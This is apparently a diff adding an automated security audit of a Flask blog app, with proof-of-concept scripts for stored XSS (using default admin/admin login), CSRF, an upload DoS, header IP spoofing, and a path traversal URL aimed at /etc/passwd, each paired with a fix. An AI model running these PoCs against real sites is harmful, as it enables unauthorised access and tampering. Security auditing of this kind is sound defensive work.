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+====
+
+Auto Security Analysis of blog-eletrix-fr at 2026-03-02
+
+MEDIUM - Stored Cross-Site Scripting (XSS)
+The application allows users to create blog posts with arbitrary content. This content is then rendered using the `|safe` filter in `post.html`, and the `markdown2.markdown()` function does not appear to be configured to sanitize HTML. An attacker with access to the `create_post` route (or via CSRF) can inject malicious JavaScript that will execute in the context of any user viewing the post.
+
+PoC
+```python
+import urllib.request
+import urllib.parse
+import http.cookiejar
+
+# Note: Requires admin login or CSRF
+cj = http.cookiejar.CookieJar()
+opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj))
+
+# Login (default credentials)
+login_data = urllib.parse.urlencode({'username': 'admin', 'password': 'admin'}).encode()
+opener.open("http://127.0.0.1:5000/login", login_data)
+
+# Create post with XSS payload
+xss_payload = "<script>alert('XSS')</script>"
+post_data = urllib.parse.urlencode({
+    'title': 'XSS_Test',
+    'author': 'Hacker',
+    'tags': 'test',
+    'content': xss_payload
+}).encode()
+opener.open("http://127.0.0.1:5000/create_post", post_data)
+
+# Verify payload is rendered without escaping
+response = opener.open("http://127.0.0.1:5000/post/XSS_Test")
+if xss_payload in response.read().decode():
+    print("Stored XSS Verified")
+```
+
+Fix
+Remove the `|safe` filter from `html/post.html` or use a library like `bleach` to sanitize the HTML output of `markdown2`.
+
+====
+
+MEDIUM - Missing CSRF Protection
+The application does not implement any Cross-Site Request Forgery (CSRF) protection on state-changing routes such as `/login`, `/create_post`, and `/upload`. This allows an attacker to perform actions on behalf of a logged-in user if they can trick the user into visiting a malicious website.
+
+PoC
+```python
+# A simple HTML form on a malicious site can trigger a post creation:
+# <form action="http://[target]/create_post" method="POST">
+#   <input type="hidden" name="title" value="CSRF_Post">
+#   <input type="hidden" name="author" value="Attacker">
+#   <input type="hidden" name="tags" value="csrf">
+#   <input type="hidden" name="content" value="Created via CSRF">
+#   <input type="submit" value="Click me">
+# </form>
+```
+
+Fix
+Implement `Flask-WTF` and use the `CSRFProtect` extension to add CSRF tokens to all forms and verify them on the server side.
+
+====
+
+LOW - Denial of Service (DoS) / Temporary File Leakage
+The `/upload` route saves uploaded files to a temporary directory before processing them. If the file is not a valid image, the `utils.add_watermark` function (which uses Pillow) will raise an exception. The application does not catch this exception to delete the temporary file, leading to a build-up of files in `./temp_uploads/` and potentially filling up disk space.
+
+PoC
+```python
+import urllib.request
+import http.cookiejar
+
+cj = http.cookiejar.CookieJar()
+opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj))
+login_data = urllib.parse.urlencode({'username': 'admin', 'password': 'admin'}).encode()
+opener.open("http://127.0.0.1:5000/login", login_data)
+
+boundary = '----Boundary'
+data = [f'--{boundary}', 'Content-Disposition: form-data; name="file"; filename="test.txt"', 'Content-Type: text/plain', '', 'Not an image', f'--{boundary}--', '']
+payload = '\r\n'.join(data).encode()
+req = urllib.request.Request("http://127.0.0.1:5000/upload/", data=payload)
+req.add_header('Content-Type', f'multipart/form-data; boundary={boundary}')
+
+try:
+    opener.open(req)
+except:
+    pass # Expected failure
+
+# Check ./temp_uploads/ for 'test.txt'
+```
+
+Fix
+Use a `try...finally` block to ensure that temporary files are deleted regardless of whether processing succeeds or fails.
+
+====
+
+LOW - IP Spoofing via Untrusted Header
+The application trusts the `CF-Real-IP` header to determine the user's IP address. This header can be easily spoofed by an attacker unless the application is behind a correctly configured Cloudflare proxy that strips this header from incoming requests.
+
+PoC
+```python
+import urllib.request
+req = urllib.request.Request("http://127.0.0.1:5000/")
+req.add_header('CF-Real-IP', '1.2.3.4')
+urllib.request.urlopen(req)
+# The application now thinks the user's IP is 1.2.3.4
+```
+
+Fix
+Only trust headers like `CF-Real-IP` or `X-Forwarded-For` if the request comes from a known, trusted proxy IP address.
+
+====
+
+LOW - Potential Path Traversal
+The `/post/<name>` route uses `os.path.join` with the user-provided `name` parameter without sanitization. While Flask's default routing for `<name>` usually prevents slashes, any misconfiguration or use of a different dispatcher could expose files outside the `articles` directory.
+
+PoC
+```python
+# Theoretically:
+# http://[target]/post/..%2f..%2fetc%2fpasswd
+# (May be blocked by Flask/Web server in default configurations)
+```
+
+Fix
+Use `werkzeug.utils.secure_filename` or verify that the resulting path is still within the intended directory.
+
+====
+
+Summary:
+| Severity | Exploit Name |
+|----------|--------------|
+| MEDIUM   | Stored Cross-Site Scripting (XSS) |
+| MEDIUM   | Missing CSRF Protection |
+| LOW      | Denial of Service (DoS) / Temporary File Leakage |
+| LOW      | IP Spoofing via Untrusted Header |
+| LOW      | Potential Path Traversal |